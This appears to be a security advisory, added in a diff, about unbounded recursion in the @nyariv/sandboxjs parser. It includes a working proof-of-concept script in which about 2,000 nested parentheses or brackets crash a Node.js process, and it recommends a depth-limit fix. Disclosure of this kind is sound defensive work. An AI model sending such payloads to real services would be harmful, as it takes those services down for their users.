+ "details": "## Summary\n\nThe `@nyariv/sandboxjs` parser contains unbounded recursion in the `restOfExp` function and the `lispify`/`lispifyExpr` call chain. An attacker can crash any Node.js process that parses untrusted input by supplying deeply nested expressions (e.g., ~2000 nested parentheses), causing a `RangeError: Maximum call stack size exceeded` that terminates the process.\n\n## Details\n\nThe root cause is in `src/parser.ts`. The `restOfExp` function (line 443) iterates through expression characters, and when it encounters a closing bracket that doesn't match the expected `firstOpening`, it recursively calls itself at line 503:\n\n```typescript\n// src/parser.ts:486-505\n} else if (closings[char]) {\n // ...\n if (char === firstOpening) {\n done = true;\n break;\n } else {\n const skip = restOfExp(constants, part.substring(i + 1), [], char); // line 503\n cache.set(skip.start - 1, skip.end);\n i += skip.length + 1;\n }\n}\n```\n\nEach nested bracket (`(`, `[`, `{`) adds a stack frame. There is no depth counter or limit check. The function signature has no depth parameter:\n\n```typescript\nexport function restOfExp(\n constants: IConstants,\n part: CodeString,\n tests?: RegExp[],\n quote?: string,\n firstOpening?: string,\n closingsTests?: RegExp[],\n details: restDetails = {},\n): CodeString {\n```\n\nA second unbounded recursive path exists through `lispify` → `lispTypes.get(type)` → `group` handler → `lispifyExpr` (line 672) → `lispify`, which processes parenthesized groups recursively with no depth limit.\n\nAll public API methods (`Sandbox.parse()`, `Sandbox.compile()`, `Sandbox.compileAsync()`, `Sandbox.compileExpression()`, `Sandbox.compileExpressionAsync()`) pass user input directly to `parse()` with no input validation or depth limiting.\n\nA `RangeError: Maximum call stack size exceeded` in Node.js is not a catchable exception in the normal sense — it crashes the current execution context and, in a server handling requests synchronously, can crash the entire process.\n\n## PoC\n\n```bash\n# Install the package\nnpm install @nyariv/sandboxjs\n\n# Create test file\ncat > poc.js << 'EOF'\nconst { default: Sandbox } = require('@nyariv/sandboxjs');\nconst s = new Sandbox();\n\n// Trigger via nested parentheses\nconsole.log(\"Testing nested parentheses...\");\ntry {\n s.compile('('.repeat(2000) + '1' + ')'.repeat(2000));\n console.log(\"No crash\");\n} catch(e) {\n console.log(`Crash: ${e.constructor.name}: ${e.message}`);\n}\n\n// Trigger via nested array brackets\nconsole.log(\"Testing nested array brackets...\");\ntry {\n s.compile('a' + '[0]'.repeat(2000));\n console.log(\"No crash\");\n} catch(e) {\n console.log(`Crash: ${e.constructor.name}: ${e.message}`);\n}\nEOF\n\nnode poc.js\n```\n\n**Expected output:**\n```\nTesting nested parentheses...\nCrash: RangeError: Maximum call stack size exceeded\nTesting nested array brackets...\nCrash: RangeError: Maximum call stack size exceeded\n```\n\nVerified on Node.js v22 with `@nyariv/sandboxjs@0.8.35`.\n\n## Impact\n\nAny application using `@nyariv/sandboxjs` to parse untrusted user input is vulnerable to denial of service. Since SandboxJS is explicitly designed to safely execute untrusted JavaScript, its primary use case involves untrusted input — making this a high-impact vulnerability for its intended deployment scenario.\n\nAn attacker can crash the host Node.js process with a single crafted input string. In server-side applications, this causes complete service disruption. The attack payload is trivial to construct and requires no authentication.\n\n## Recommended Fix\n\nAdd a `depth` parameter to `restOfExp` and throw a `ParseError` when a maximum depth is exceeded:\n\n```typescript\n// src/parser.ts - restOfExp function\nconst MAX_PARSE_DEPTH = 256;\n\nexport function restOfExp(\n constants: IConstants,\n part: CodeString,\n tests?: RegExp[],\n quote?: string,\n firstOpening?: string,\n closingsTests?: RegExp[],\n details: restDetails = {},\n depth: number = 0, // ADD depth parameter\n): CodeString {\n if (depth > MAX_PARSE_DEPTH) {\n throw new ParseError('Expression nesting depth exceeded', part.toString());\n }\n // ... existing code ...\n\n // At line 503, pass depth + 1:\n const skip = restOfExp(constants, part.substring(i + 1), [], char, undefined, undefined, {}, depth + 1);\n\n // At line 480 (template literal), also pass depth + 1:\n const skip = restOfExp(constants, part.substring(i + 2), [], '{', undefined, undefined, {}, depth + 1);\n}\n```\n\nSimilarly, add depth tracking to `lispify` and `lispifyExpr`:\n\n```typescript\nfunction lispify(\n constants: IConstants,\n part: CodeString,\n expected?: readonly string[],\n lispTree?: Lisp,\n topLevel = false,\n depth: number = 0, // ADD depth parameter\n): Lisp {\n if (depth > MAX_PARSE_DEPTH) {\n throw new ParseError('Expression nesting depth exceeded', part.toString());\n }\n // ... pass depth + 1 to recursive lispify/lispifyExpr calls ...\n}\n```",
0 commit comments